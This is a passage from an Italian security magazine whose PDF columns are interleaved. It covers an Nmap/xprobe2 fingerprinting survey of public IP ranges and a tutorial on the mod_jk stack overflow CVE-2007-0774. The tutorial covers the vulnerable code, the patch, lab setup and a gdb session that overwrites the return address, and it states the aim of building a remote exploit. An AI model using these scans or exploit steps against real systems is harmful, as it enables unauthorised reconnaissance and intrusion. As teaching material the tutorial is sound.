del comando rimuove invece dall'output scritto nel file
Come è stato selezionato il campione di IP per il asia_list1 la stringa “Nmap”. Ciò è sufficiente per
test? generare una lista di IP attivi utilizzabile come input
delle fasi successive.
Il range di indirizzi IP da testare è stato determinato
consultando l'attuale lista dei blocchi di assegnazione Una volta determinati strumenti da utilizzare e
campione da sondare, come è stato svolto il test?
IPv4 dal sito dello IANA[11]. Per semplicità i blocchi
contraddistinti dalla dicitura “Various Registries”
Per le scansioni con xprobe2 è stato utilizzato il
sono stati scartati. Il range limitato di IP costituente il seguente script bash:
campione sondato è stato invece selezionato a partire
dai blocchi esclusivamente assegnati ad uno dei tre #!/bin/sh
registri facenti capo all'area Europea, Asiatica e delle
IPS=`cat $1`
Americhe (rispettivamente RIPE, APNIC ed ARIN). Per
ciascuno di questi tre comparti territoriali è stato for i in $IPS
effettuato uno Sweep Scan con Nmap per identificare do
xprobe2 $i -M 6 -M 7 -M 8 -M 9 -M 10 >>
gli host attivi nel range:
$2_xprobe2_fingerprint.txt

11
focus on LINUX KERNEL 2.6 E TECNOLOGIE ANTI OVERFLOW

degli host (la lista è infatti composta da IP già identificati


done come attivi).
che eseguito nel modo di seguito indicato:
-O Attiva la modalità TCP Fingerprint
# chmod +x script
# ./script IP_active_asia.txt asia A questo punto terminata la raccolta dei dati, gli stessi
sono stati esaminati e sviluppati fino a giungere alle
genera un unico file denominato percentuali allegate in Tabella 2. Lasciamo comunque al
asia_xprobe2_fingerprint.txt in cui viene lettore il compito di sperimentare per conto proprio
scritto tutto l'output di xprobe2. questa fase. Inviateci le vostre statistiche all'indirizzo
redazione@segfault.it in formato html o pdf,
Per le scansioni con nmap l'intera attività è invece stata possibilmente corredate da grafici e/o tabelle, assieme
svolta in modo più semplice utilizzando direttamente la agli strumenti o agli script che avete creato per
lista degli indirizzi IP ricavata nella fase precedente: generarle. I migliori lavori prodotti verranno condivisi sul
nostro sito Internet o pubblicati direttamente sulla nostra
# nmap -iL IP_active_asia.txt -n -P0 -O
-oN asia_nmap_fingerprint.txt rivista!

Dove:
[9] http:///www.sys-security.com
-iL Indica ad nmap di prelevare gli indirizzi IP da [10] http://www.insecure.org
[11] http://www.iana.org/assignments/ipv4-address-space - Da
sondare direttamente dal file lista
Wikipedia: L'Internet Assigned Numbers Authority è un
IP_active_asia.txt.
organismo che ha responsabilità nell'assegnazione degli
indirizzi IP.
-P0 Salta i test per verificare l'effettiva raggiungibilità

Per migliorare i risultati delle tue statistiche accedi ai contenuti messi a disposizione dalla redazione su
http://www.segfault.it/SS/001/stats/pack.tar.gz

N X P a tc h
F O R T IF Y
(e m u la z io n e A SLR SSP
SO U R C E
s o ftw a re )

F ed ora C ore (E x e c - (E x e c -
[* ] [* * ]
5 /6 /7 S h ie ld ) S h ie ld )
U b u n t u 6 .1 0 [* ][* * * ]
U b u n t u 7 .0 4 [* ][* * * ]
O p e n S u S E 1 0 .2 [* ] [* * ]
S la c k w a r e 1 2
D e b ia n 4 .0 r1
M a n d r iv a F r e e
[* ] [* * ]
2 0 0 7 .1

Tabella 1: Riepilogo schematizzato delle funzionalità di sicurezza implementate di default su piattaforma x86 dalle principali distribuzioni
Linux esistenti.

[*] Tutti i package di sistema più importanti forniti con la distribuzione sono compilati di default con -fstack-protector
[**] Tutti i package di sistema più importanti forniti con la distribuzioni sono compilati di default con -D_FORTIFY_SOURCE=1 e/o 2
[***] Durante la compilazione di qualsiasi sorgente l'opzione -fstack-protector è implicitamente attiva.

kernel 2.2 kernel 2.4 kernel 2.6

Centro Europa (RIPE) 1,3% 37,81% 60,89%


Cina (Asia – APNIC) 23,38% 37,76% 38,96%
Stati Uniti (America -ARIN) 2,22% 57,03% 40,75%

Tabella 2: Diffusione degli ultimi tre branch stabili del kernel Linux su un campione di 1000 sistemi sondati

12
look at LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK

L
o stack overflow è uno degli errori di programma. Ciascuna funzione che necessita di
programmazione più “antichi” ed allo stesso argomenti crea solitamente un suo stack frame,
tempo ancora oggi più comuni. Secondo un un'area dedicata nella quale colloca le proprie
rapporto del CWE[1] che studia le falle ricorrenti strutture dati e che viene puntata dal registro EBP
osservate nel software durante il quinquennio 2001- (detto anche Base Pointer o più comunemente
2006, la categoria degli overflow ha mantenuto fino Frame Pointer). Questo indirizzo[5] rimane costante
al 2005 la prima posizione, ovvero fino a quando le lungo tutta l'esecuzione della funzione per
vulnerabilità web di tipo XSS non sono letteralmente permettere al processore di localizzare in modo
esplose in tutto il mondo (un avvento paragonabile in preciso le variabili o le zone di memoria di interesse,
termini di diffusione a quello dei format string al contrario del registro ESP (lo Stack Pointer) che
overflow[2] avvenuto tra il 1999 ed il 2000 ma come dice lo stesso nome, punta invece
destinato, secondo gli esperti, a perdurare costantemente alla parte attiva dello stack che è
maggiormente nel tempo). Come conseguenza di soggetta a continue variazioni a seguito delle
questo evento, le problematiche legate ai buffer operazioni di inserimento/rimozione dei dati
overflow sono passate in seconda posizione in (push/pop) o di sottrazione/addizione (sub/add),
termini di frequenza anche se ancora oggi si stima queste ultime utilizzate solitamente per fare spazio
che la loro diffusione sia maggiore di altre alle variabili locali e ripristinare gli stack frame di
vulnerabilità molto in voga come quelle di tipo SQL competenza delle funzioni chiamanti.
Injection o File Inclusion, a dispetto del crescente
interessamento verso la sicurezza Web manifestato Simulazione teorica
di recente da penetration tester e bug hunter. Nella
lunga lista delle vulnerabilità correlabili alla categoria L'esecuzione di un'applicazione scritta in C/C++
dei buffer overflow quelli che si manifestano nello parte dal blocco main() e si dirama via via verso le
stack rimangono certamente i più comuni, pur la loro altre funzioni necessarie al corretto espletamento
longevità risalibile nel tempo al famoso Morris delle attività applicative.
worm[3]. Non a caso su siti come securityfocus[4]
vengono giornalmente pubblicati bollettini che [1] http://cwe.mitre.org/documents/vuln-trends/index.html: Il sito
ospita un database che cataloga le vulnerabilità in base alla loro
dettagliano problematiche software del genere.
tipologia e ne studia la diffusione per categoria (non per singolo
Poiché alcuni degli argomenti che tratteremo in futuro bug).
o in questo stesso numero della rivista necessitano di
[2] In termini di diffusione i format string overflow hanno avuto
conoscenze basilari di cosa è, ma soprattutto di come
un picco repentino che è andato però velocemente scemando.
opera uno stack, quella che segue è una trattazione
dei principali concetti relativi a questo tema. [3] Robert Tappen Morris, ora professore al Massachusetts
Successivamente verrà proposto un esempio reale e Institute of Technology, fu l'artefice il 2 Novembre del 1988 del
primo worm mai affacciatosi su Internet. All'epoca studente della
recente di vulnerabilità collocabile nella categoria
Cornell University, progettò il worm a scopo statistico per
degli stack overflow. Per meglio comprendere le determinare l'estensione dell'allora neonata rete, ma la rapidità
parti che seguono sono comunque vivamente con cui si diffuse e le modalità di infezione causarono il blocco
consigliate delle conoscenze anche minime di indesiderato di migliaia di sistemi. Il worm sfruttava diverse falle
programmazione in C e/o C++. conosciute tra le quali uno stack overflow nel demone fingerd.
Tutta la storia ed il codice del worm possono essere consultati al
Lo Stack in pillole su architettura hardware x86 seguente indirizzo http://www.morrisworm.com.

[4] http://www.securityfocus.com
Lo stack è una regione di memoria in cui le
[5] Un indirizzo è un valore rappresentato in forma esadecimale
applicazioni depositano il contenuto delle variabili, i
che nell'architettura hardware x86 ha la dimensione di 4 byte.
parametri passati alle funzioni o i puntatori che Indica un punto ben preciso in memoria. Un esempio di
permettono di raggiungere punti nevralgici del indirizzo è 0xbfffee00.

13
look at LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK

Quando una funzione viene invocata, il programma […]


solitamente esegue le seguenti operazioni base e ritorna al blocco main():
(supponiamo che dal main() venga chiamata la
[…]
funzione xxx): 0x080488c1 <xxx+86>: ret
[…]

1) dal blocco main() il programma colloca nello stack L’istruzione “ret” preleva dalla posizione attuale
(o nei registri del processore) i dati o gli indirizzi di dello stack (ovvero l'indirizzo puntato dallo Stack
memoria in cui essi risiedono che verranno Pointer) i primi 4 byte in memoria. Questi
rappresentano l'indirizzo di ritorno inserito dalla
utilizzati dalla funzione xxx come argomenti; istruzione call durante il punto 2.

2) sempre dal main() il programma invoca con Adesso si è nuovamente sul main() e l'esecuzione del
l'istruzione call la funzione xxx . Questa programma riprende da dove era stata originariamente
istruzione posiziona nello stack il cosiddetto deviata.
indirizzo di ritorno (4 byte) che verrà utilizzato dal
processore per ritornare al blocco main() (ovvero Come si manifesta uno stack overflow nei sistemi
all'istruzione subito successiva alla call) quando
privi di tecnologie anti overflow
la funzione xxx avrà terminato lo svolgimento dei
suoi compiti. Un overflow nello stack si manifesta nell'esatto
momento in cui l'applicazione prova a memorizzare i
[…] dati provenienti da input utente in un buffer troppo
<main+446>: call 0x804886b <xxx> piccolo per contenerli. Questa circostanza non causa
[…] l'interruzione immediata del programma come ci si
aspetterebbe, bensì i dati in eccesso continuano ad
A questo punto l'esecuzione del programma continua essere scritti nello stack, modificando le strutture ed i
dalla funzione xxx: puntatori allocati. Fra questi, l'alterazione
dell'indirizzo di ritorno è lo scopo ultimo dell'attacco.
Il raggiungimento di questo obiettivo consente di
3) la funzione xxx crea il suo stack frame in tre step. redirezionare il flusso di esecuzione dell'applicazione
Dapprima salva nello stack l'indirizzo del frame verso un qualsiasi punto in memoria, ad esempio uno
shellcode[6] precedentemente posizionato nello stack
attuale[*], poi rende l'indirizzo puntato dal registro
come parte del buffer sovrascritto.
ESP il frame corrente copiandolo in EBP[**], infine
fa spazio per le eventuali variabili locali [***] Pratica con CVE-2007-0774[7]
(istruzione sub sul valore puntato dal registro
ESP): La teoria è inutile se poi non può essere messa in
pratica! Invece di dimostrare come uno stack overflow
[*] 0x0804886b <xxx>: push %ebp può essere abusato su un banale codice di esempio di
[**] 0x0804886c <xxx+1>: mov %esp,%ebp
[***]0x0804886e <xxx+3>: sub $0x118,%esp poche righe, analizziamo un'applicazione reale.
[…] [6] uno shellcode è la rappresentazione (spesso in formato
esadecimale) di istruzioni del linguaggio macchina, i cui contenuti se
4) la funzione xxx svolge le sue operazioni… collocati in aree di memoria non limitate, vengono appositamente
eseguiti dal processore. Il suo scopo è solitamente quello di aprire
5) al termine, ripristina lo stack frame precedente di un canale di accesso remoto.
competenza del main() (solitamente un'istruzione [7] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-
add sul valore puntato dal registro ESP): 0774: Il CVE (Common Vulnerabilities and Exposures) fa parte di
un'iniziativa fondata dal dipartimento della sicurezza statunitense
[…] volta a standardizzare, con un codice identificativo univoco, le
0x0804886e <xxx+73>: add $0x118,%esp singole vulnerabilità conosciute per il software in circolazione.

14
look at LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK

La falla software in questione, resa pubblica lo scorso ciclo giunge al byte di terminazione della prima stringa
marzo, risiede in alcune versioni di Mod_jk, un ( strlen(uri) ) fornita dall'utente. Se questa stringa è
modulo di Apache che permette al web server di più grande di JK_MAX_URI_LEN (ovvero superiore in
comunicare con il servlet engine Jakarta Tomcat per dimensioni ai 4096 byte), il buffer url viene
la divulgazione di applicazioni web dinamiche. completamente saturato ed i dati in eccesso
Stando alle informazioni diramate con il bollettino continuano ad essere scritti nello stack fino a
ZDI-07-008[8], le versioni 1.2.19 e 1.2.20 del modulo raggiungere il return address.
sono soggette ad un'overflow che si manifesta nello COME È STATO RISOLTO IL BUG NELLE VERSIONI
stack. Potendo disporre direttamente dei sorgenti[9] si DI MOD_JK SUPERIORI ALLA 1.2.20?
può in questo caso analizzarli per identificare l'esatto
Diamo più da vicino uno sguardo a come è stata
punto in cui gli sviluppatori hanno commesso l'errore. modificata la funzione vulnerabile nella versione
Queste informazioni ci saranno utili per creare in 1.2.25[10] del modulo (l'ultima disponibile nel momento
seguito un exploit remoto funzionante. in cui si scrive):
[…]
La vulnerabilità for (i = 0; i < strlen(uri); i++) {
if (i == JK_MAX_URI_LEN) {
La funzione vulnerabile è map_uri_to_worker() jk_log(l, JK_LOG_WARNING,
che risiede dentro il file jk_uri_worker_map.c nella "Uri %s is invalid. Uri must be
smaller then %d chars",
directory native/common. Nella versione 1.2.20 dei
uri, JK_MAX_URI_LEN);
sorgenti del modulo, dopo una serie di controlli JK_TRACE_EXIT(l);
formali, il contenuto di uri (un const char * return NULL;
proveniente da input utente e passato come }
argomento alla funzione) viene travasato byte per if (uri[i] == ';')
byte nella variabile locale url attraverso un ciclo for. break;
La variabile url è definita all'inizio di else {
url[i] = uri[i];
map_uri_to_worker() come un array di caratteri
[…]
che può contenere al massimo JK_MAX_URI_LEN
}
byte +1. A sua volta JK_MAX_URI_LEN viene definito }
all'interno del file jk_uri_worker_map.h con: url[i] = '\0';

#define JK_MAX_URI_LEN 4095 Gli sviluppatori hanno incluso un nuovo blocco


condizionale (if) che controlla il valore raggiunto dalla
variabile numerica “i” (la posizione attuale del byte di
Ciò significa che url può contenere al massimo una uri che deve essere copiato in url) con
stringa di 4096 byte. La copia da un buffer all'altro JK_MAX_URI_LEN (la dimensione massima accettata
viene gestita dal codice che segue: per l'input utente). Nel caso in cui “i” fosse uguale a
“4095”, nei log generati dal modulo verrebbe scritto un
for (i = 0; i < strlen(uri); i++) messaggio di avviso relativo all'errore e
map_uri_to_worker() ritornerebbe
if (uri[i] == ';')
immediatamente alla funzione chiamante, evitando di
break;
generare uno stack overflow.
else
url[i] = uri[i]; [8] http://www.zerodayinitiative.com/advisories/ZDI-07-008.html
url[i] = '\0';
[9] http://archive.apache.org/dist/tomcat/tomcat-
connectors/jk/source/jk-1.2.20/
L'errore risiede proprio in questo blocco. La copia del
contenuto di uri in url termina solamente quando il [10] http://archive.apache.org/dist/tomcat/tomcat-
connectors/jk/source/jk-1.2.25/

15
look at LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK

Creare un exploit funzionante in ogni circostanza). Nel nostro caso ciò significa
installare e configurare Apache, installare Jakarta
Per evitare di scontrarsi con una qualsiasi delle Tomcat ed il connettore mod_jk. Questi step
tecnologie anti overflow presenti nelle recenti vengono descritti in dettaglio nell'apposito box qui
versioni di Linux e comprendere come un vanilla sotto. Prima di proseguire nella lettura dell'articolo, è
stack overflow può essere sfruttato con successo, è bene accertarsi quindi di aver portato a termine tutte
buona norma per il momento fare pratica con una le procedure lì descritte.
distribuzione del pinguino completamente sprovvista
di questo genere di misure di protezione (soprattutto
se questo è il vostro primo hack). Per i nostri test
abbiamo deciso di utilizzare una Red Hat 7.2[11] [11] Le due ISO di “enigma” (nome in codice per Red Hat 7.2)
installata all'interno di una istanza VMWare. Prima di non sono più ufficialmente fornite da Red Hat ma possono
introdurre le operazioni che porteranno alla essere ancora prelevate da svariati siti come
creazione di un exploit remoto è naturalmente http://redhat.lsu.edu/dist/7.2/iso/ oppure
http://xfiles.erin.utoronto.ca/pub/unix/redhat/7.2/en/iso/i386/
necessario predisporre l'ambiente di test (questo vale

PREDISPORRE L'AMBIENTE DI TEST PER LA VULNERABILITÀ CVE-2007-0774

Attenzione: le configurazioni che seguono sono volte esclusivamente a creare un ambiente di test privato e non sono
pertanto indicate per configurare un sistema di produzione. Gli amministratori di sistema che dalle seguenti linee guida
vorranno trarre degli spunti per configurare uno o più server che offrono servizi online, devono comprendere che essi
necessiteranno della definizione di permessi più accorti di quelli menzionati e riportati qui sotto.

Installare Apache
Il primo passo da compiere è installare Apache. Per semplificare questo task è sufficiente utilizzare la versione già fornita
con Red Hat 7.2. In fase di installazione della distribuzione si seleziona un deployment di tipo Custom e tra le funzionalità a
cui il sistema sarà adibito si sceglie Web Server. E' fondamentale selezionare anche il gruppo di pacchetti relativo agli
strumenti di sviluppo software.

Installare JSDK
L'unico requisito di Jakarta Tomcat è il Java Development Kit (JDK)[12]. La versione fornita è autoestraente. Dopo averla
collocata nel punto desiderato del filesystem, è sufficiente (da utente root) digitare:

# chmod +x j2sdk-1_4_2_15-linux-i586.bin
# ./j2sdk-1_4_2_15-linux-i586.bin

La directory estratta deve essere poi spostata in /usr/java:

# mkdir /usr/java
# mv j2sdk1.4.2_15 /usr/java

Successivamente va modificato il file /etc/profile aggiungendo le seguente righe:

# JAVA_HOME=”/usr/java/j2sdk1.4.2_15”
# export JAVA_HOME

16
look at LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK

Si salva il file e si digita da shell:

# . /etc/profile

Così facendo la variabile d'ambiente JAVA_HOME verrà immediatamente creata nel proprio contesto e non sarà necessario
riloggarsi al sistema.

Creare gli account utente

Si procede adesso alla creazione di un utente e di un gruppo dedicato per le applicazioni Web dinamiche e statiche che
gireranno per mezzo di Tomcat ed Apache:

# groupadd wwwsite
# useradd –g wwwsite wwwsite

Installare Tomcat
Si decomprime la versione 5.0.28 di Tomcat[12]:

# tar xvfz jakarta-tomcat-5.0.28.tar.gz

La directory estratta viene spostata in /usr/local:

# mv jakarta-tomcat-5.0.28 /usr/local

Si modificano il gruppo e l'utente owner di questa directory:

# chown –R wwwsite.wwwsite /usr/local/jakarta-tomcat-5.0.28

A questo punto si è pronti per lanciare il servizio:

# cd /usr/local/jakarta-tomcat-5.0.28/bin
# ./startup.sh

Per testare se Tomcat sta funzionando è sufficiente aprire il browser, digitare “http://ip_del_server:8080” e verificare la
corretta visualizzazione della pagina di benvenuto con alla sinistra alcuni link che puntano a documentazione e codice di
esempio. Lanciare alcuni dei codici di esempio cliccandoci semplicemente sopra. Dopo aver accertato il loro
funzionamento è possibile fermare il servizio:

# ./shutdown.sh

Installare il connettore mod_jk


Si decomprime la versione 1.2.20 del tomcat-connectors[12] (il modulo mod_jk che prende le richieste degli utenti che
pervengono ad Apache e le rigira a Tomcat) nel punto desiderato del filesystem:

# tar xvfz tomcat-connectors-1.2.20-src.tar.gz

Si compila il pacchetto:

17
look at LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK

# cd ./tomcat-connectors-1.2.20-src/native
# ./buildconf.sh
# ./configure –-with-apxs=/usr/sbin/apxs
# make

Al termine di questa procedura il modulo creato deve essere spostato nella directory in cui risiedono tutti i moduli di Apache:

# cd ./apache-1.3
# cp mod_jk.so.0.0.0 /etc/httpd/modules/mod_jk.so

Creare il tree di directory


A questo punto si crea l'albero delle directory in cui risiederanno in seguito una pagina di esempio statica (in HTML classico)
ed una dinamica (scritta in JSP):

# mkdir /home/wwwsite/webapps/test.com
# mkdir /home/wwwsite/webapps/test.com/logs
# mkdir /home/wwwsite/webapps/test.com/test
# mkdir /home/wwwsite/webapps/test.com/test/WEB-INF
# mkdir /home/wwwsite/webapps/test.com/test/WEB-INF/classes

Vanno quindi impostati i relativi permessi:

# chmod 755 /home/wwwsite/webapps


# chmod 755 /home/wwwsite/webapps/test.com
# chmod 755 /home/wwwsite/webapps/test.com/test

Configurare Tomcat

Siamo così giunti alla fase della configurazione dei servizi. Il primo step per Tomcat consiste nel definire in che modo il
modulo mod_jk potrà comunicare con il servlet engine. Queste informazioni sono contenute nel file
workers.properties che dovrà essere collocato nella directory /etc/httpd/conf:

# workers.properties - ajp13
#
# List workers
worker.list=wrkr
#
# Define wrkr
worker.wrkr.port=8009
worker.wrkr.host=localhost
worker.wrkr.type=ajp13
worker.wrkr.socket_timeout=300

In questo caso il modulo Apache invierà le richieste degli utenti sulla porta TCP 8009 dell'interfaccia locale localhost
(127.0.0.1) in cui starà in ascolto Tomcat. Il forward verrà espletato attraverso il protocollo Ajpv 13 su canale TCP/IP.

18
look at LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK

Il secondo file di configurazione è invece server.xml che va collocato in /usr/local/jakarta-tomcat-


5.0.28/conf/. Nel nostro caso quello esistente può essere tranquillamente sovrascritto:

<Server port="8005" shutdown="test" debug="0">


<Service name="Tomcat-Apache">
<Connector address="127.0.0.1"
port="8009"
minProcessors="5"
maxProcessors="75"
enableLookups="false"
protocol="AJP/1.3"
debug="0"/>

<Engine name="appserver"
debug="0"
defaultHost="test.com">

<Host name="test.com"
appBase="/home/wwwsite/webapps"
autoDeploy="false"
deployOnStartup="false"
unpackWARs="false"
deployXML="true"
debug="0"/>
</Engine>
</Service>
</Server>

Qui in pratica vengono definite le porte TCP in cui Tomcat starà in ascolto (8005 per la ricezione del segnale di stop del
servizio ed 8009 per ricevere e soddisfare le richieste provenienti da Apache). Viene inoltre definito un host virtuale
test.com e la locazione nel disco in cui le pagine del sito risiedono (direttive “Host name” ed “appBase”).

Il terzo ed ultimo file di configurazione per Tomcat va collocato all'interno di un nuovo tree di directory:

# mkdir –p /usr/local/jakarta-tomcat-5.0.28/conf/appserver/test.com
# touch /usr/local/jakarta-tomcat-5.0.28/conf/appserver/test.xml

Il file test.xml va infine popolato con le seguenti direttive:

<Context path=""
docBase="test.com/test"
reloadable="true"
debug="0"/>

Configurare Apache
Il file di configurazione di apache (/etc/httpd/conf/httpd.conf) consta di tre aree appositamente marcate al suo
interno come:

19
look at LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK

1. Global Environment
2. Main Server Configuration
3. Virtual Hosts

Ciascuna di queste deve essere opportunamente modificata. Nella sezione Global Environment, subito dopo i punti in cui
vengono caricati i moduli mod_dir.so e mod_cgi.so, si devono aggiungere le direttive:

LoadModule jk_module modules/mod_jk.so


AddModule mod_jk.c

All'inizio della sezione Main Server Configuration risiedono poi le direttive User e Group che indicano sotto quale utente
e gruppo i processi figli di Apache devono essere eseguiti. Vanno modificate nel seguente modo:

User wwwsite
Group wwwsite

Nella parte bassa della stessa sezione vanno inoltre aggiunte queste altre direttive:

JkWorkersFile "/etc/httpd/conf/workers.properties"
JkLogFile "/etc/httpd/logs/mod_jk.log"
JkLogLevel info
JkLogStampFormat "[%a %b %d %H:%M:%S %Y]"

Infine la sezione Virtual Hosts deve così essere modificata:

NameVirtualHost 192.168.1.1:80

<VirtualHost 192.168.1.1:80>
ServerAdmin webmaster@test.com
ServerName www.test.com
DocumentRoot /home/wwwsite/webapps/test.com/test
ErrorLog /home/wwwsite/webapps/test.com/logs/error_log
CustomLog /home/wwwsite/webapps/test.com/logs/access_log common
JkMount /*.jsp wrkr
JkMount /servlet/* wrkr
# Nega l'accesso diretto a to WEB-INF
<LocationMatch ".*WEB-INF.*">
AllowOverride None
deny from all
</LocationMatch>
</VirtualHost>

In questo caso 192.168.1.1 è l'indirizzo IP di una delle interfacce di rete della macchina utilizzata come web server di
test. Ovviamente questa informazione va modificata secondo la vostra attuale configurazione di rete.

Ultime impostazioni
A questo punto si è giunti al completamento della configurazione. Una volta copiati i due script di prova[12] index.html e
test.jsp nella directory /home/wwwsite/webapps/test.com/test e lanciati i servizi Tomcat ed Apache:

20
look at LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK

# cd /usr/local/jakarta-tomcat-5.0.28/bin
# ./startup.sh
# /etc/init.d/httpd start

puntate il browser sugli URL http://ip_del_server/ e http://ip_del_server/test.jsp. Se vengono visualizzate entrambe le


pagine l'ambiente di test sarà stato installato con successo. Adesso siete pronti per la parte più divertente: l'accertamento e
l'exploiting della vulnerabilità CVE-2007-0774.

[12] Per semplificare la predisposizione dell'ambiente di test abbiamo incluso in un unico package tutte le componenti necessarie
(sorgenti e file di configurazione). Il package può essere prelevato da http://www.seg-fault.net/SS/001/vanillab0f/all_pack.tar.gz

Fase 1: Determinare quanti byte sono necessari Nel secondo caso invece bisognerà identificare il
per raggiungere il return address dal buffer punto esatto interessato, ovvero appena prima che la
saturato funzione ritorni:

Una volta predisposto l'ambiente di test e verificatone (gdb) disas map_uri_to_worker


il funzionamento, Apache è pronto per ricevere le ---Type <return> to continue, or q
<return> to quit---
richieste dagli utenti. Prima di scrivere però l'exploit
[…]
vero e proprio è necessario tracciare il
0x403c3b70 <map_uri_to_worker+1376>: pop
comportamento del modulo mod_jk avviando una
%ebp
sessione di debugging. In questo caso ci avvarremo di 0x403c3b71 <map_uri_to_worker+1377>: ret
gdb per agganciarci ad uno dei processi figli del web End of assembler dump.
server. Dapprima si determinano i relativi pid:
(gdb) break *0x403c3b70 [**]
# ps –uax | grep httpd | grep wwwsite Breakpoint 2 at 0x403c3b70: file
wwwsite 1616 0.0 3.3 46752 6468 ? S 06:14 0:00 jk_uri_worker_map.c, line 636.
/usr/sbin/httpd
wwwsite 1617 0.0 3.3 46752 6468 ? S 06:14 0:00
A questo punto si istruisce il processo che può
/usr/sbin/httpd
continuare normalmente la sua esecuzione:
[…]

(gdb) c
In questa circostanza si seleziona il primo e si procede Continuing.
con la fase di attach indicando da linea di comando il
punto in cui risiede il file eseguibile dell'applicazione Adesso disponiamo di un ambiente pronto al
oggetto del test ed il pid prescelto: tracciamento di uno dei processi figli di Apache, ma
serve l'evento scatenante per ottenere le informazioni
# gdb /usr/sbin/httpd 1616
su cui basarsi per costruire l'exploit. Questo evento è
semplicemente una richiesta tale che permetta
Dopo aver attraversato la lista dei moduli caricati all'overflow di manifestarsi.
(tasto Invio), si imposta un breakpoint[13] all'inizio[*] ed
uno subito prima dell'uscita[**] della funzione
vulnerabile. Il primo obiettivo è semplicemente [13] Un breakpoint è un punto di arresto nel normale flusso di
raggiungibile digitando dal prompt del gdb: esecuzione di un programma. Viene utilizzato nelle sessioni di
debugging per monitorare lo stato dei registri del processore o
delle aree di memoria di un'applicazione in un preciso momento
(gdb) break *map_uri_to_worker [*]
(nel nostro caso alcuni attimi prima del manifestarsi dello stack
Breakpoint 1 at 0x403c3610: file
overflow e poco prima del ritorno della funzione vulnerabile).
jk_uri_worker_map.c, line 536.

21
look at LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK

Sappiamo che il buffer che traboccherà (url) potrà condizione descritta sopra. Al momento abbiamo
contenere al massimo 4096 byte, ma quanti byte infatti messo sotto debugging solamente uno dei figli
saranno necessari con esattezza per sovrascrivere di Apache (di default ne vengono caricati 8 in
l'indirizzo di ritorno della funzione vulnerabile? Nel un'installazione standard di Red Hat 7.2) e non è
nostro caso non si può disporre inizialmente di questa detto che la prima richiesta HTTP inviata venga
informazione se non in modo approssimativo, gestita proprio dal processo che stiamo tracciando.
pertanto l'unica cosa logica da fare è inviare al web
server una richiesta più grande della dimensione del La prima interruzione momentanea del processo è
buffer “url” ed analizzare cosa succede. L'evento relativa al primo breakpoint. A questo punto
scatenante in questione sarà dunque generato dal l'overflow non si è ancora manifestato in quanto
sorgente di test mostrato in Figura 1. Il codice è ben siamo nella fase iniziale di esecuzione della funzione
commentato ma in sintesi si occupa di inviare una vulnerabile. Continuiamo quindi con il caricamento
richiesta HTTP con un URI[14] di 4128 byte (incluso il dell'applicazione:
carattere slash) che mira a mandare in crash il
processo debuggato. La parte più interessante del (gdb) c
sorgente è l'array di caratteri crash: Continuing.

char crash [] = Subito dopo aver lanciato il comando “c” nel prompt di
"BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII"; gdb, la funzione map_uri_to_worker() esegue tutte
le istruzioni fino al secondo breakpoint, ovvero poco
Dopo aver riempito con delle “A” per 4095 byte il prima del suo ritorno. In questo momento il buffer url
buffer buf (l'URI che verrà inviato come parte della è già stato sovrascritto e dovrebbe aver alterato il
richiesta HTTP al web server), successivamente return address.. L'istruzione successiva al
viene copiato al suo interno il contenuto di crash (32 breakpoint corrente è “ret”, ciò significa che il
byte). Il motivo di questa accortezza sarà evidente più processore prenderà i primi 4 byte che troverà nello
avanti, quando si avrà necessità di determinare con stack e continuerà l'esecuzione dell'applicazione da
esattezza quanti byte saranno necessari per quell'indirizzo. Diamo un breve sguardo a quale
sovrascrivere il return address. Adesso compiliamo indirizzo punta attualmente il registro ESP (lo Stack
ed eseguiamo l'applicazione: Pointer):

$ gcc crash.c –o crash (gdb) p $esp


$ ./crash ip_macchina_di_test 80 $1 = (void *) 0xbffff578

Nella finestra in cui è stata lanciata la sessione di Adesso osserviamo il contenuto dei prossimi 4 byte
debugging dovrebbe quindi apparire a video un che si trovano a partire da quest'area di memoria
messaggio simile al seguente: (quelli che la successiva istruzione “ret” preleverà
dallo stack ed utilizzerà come indirizzo di ritorno):
[Switching to Thread 1024 (LWP 1616)]
Breakpoint 1, map_uri_to_worker (gdb) x/4bx $esp+4
(uw_map=0x8174000, uri=0x817c0b8 "/", 'A' 0xbffff57c: 0x49 0x49 0x49 0x49
<repeats 199 times>..., l=0x40412580) at
jk_uri_worker_map.c:536

[14] Per URI si intende in questo caso la risorsa HTTP richiesta.


Nel caso in cui ciò non fosse successo, lanciare Ad esempio in http://10.10.10.10/index.html, l'URI è
crash più volte fino a quando non si verifica la rappresentato da “index.html”.

22
look at LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK

0x49494949 sarà quindi l'indirizzo che il processore cresce verso indirizzi decrescenti e viceversa
utilizzerà come return address per ritornare alla decresce verso indirizzi crescenti, pertanto il buffer
funzione che ha precedentemente invocato “buf” si troverà in un indirizzo rappresentato da un
map_uri_to_worker() . La conversione da valore più basso rispetto al return address, pur
esadecimale ad ASCII di questo valore è “IIII”, trovandosi effettivamente prima nello stack. Questo
esattamente le ultime quattro lettere contenute ad esempio è ciò che viene visualizzato a video
all'interno dell'array di caratteri “crash” nel sorgente di analizzando i 2000 byte successivi all'indirizzo
esempio mostrato in Tabella 1. Ciò oltre ad indicarci “0xbffff578” a cui vengono sottratti 1400 byte (cioè
che è effettivamente possibile sovrascrivere in modo partendo da 0xbffff000):
arbitrario l'indirizzo di ritorno della funzione
vulnerabile, indica allo stesso tempo quanti byte sono (gdb) x/2000bx 0xbffff578-1400
necessari per giungere alla sua alterazione. Essendo 0xbffff000: 0x41 0x41 0x41 0x41 0x41 0x41
0x49494949 un indirizzo non valido (ovvero un 0x41 0x41
0xbffff008: 0x41 0x41 0x41 0x41 0x41 0x41
indirizzo non allocato nello spazio di indirizzamento
0x41 0x41
dell'applicazione debuggata e quindi non accessibile
0xbffff010: 0x41 0x41 0x41 0x41 0x41 0x41
dal processore), l'esecuzione dell'istruzione
0x41 0x41
successiva al secondo breakpoint (ret) causerà il […]
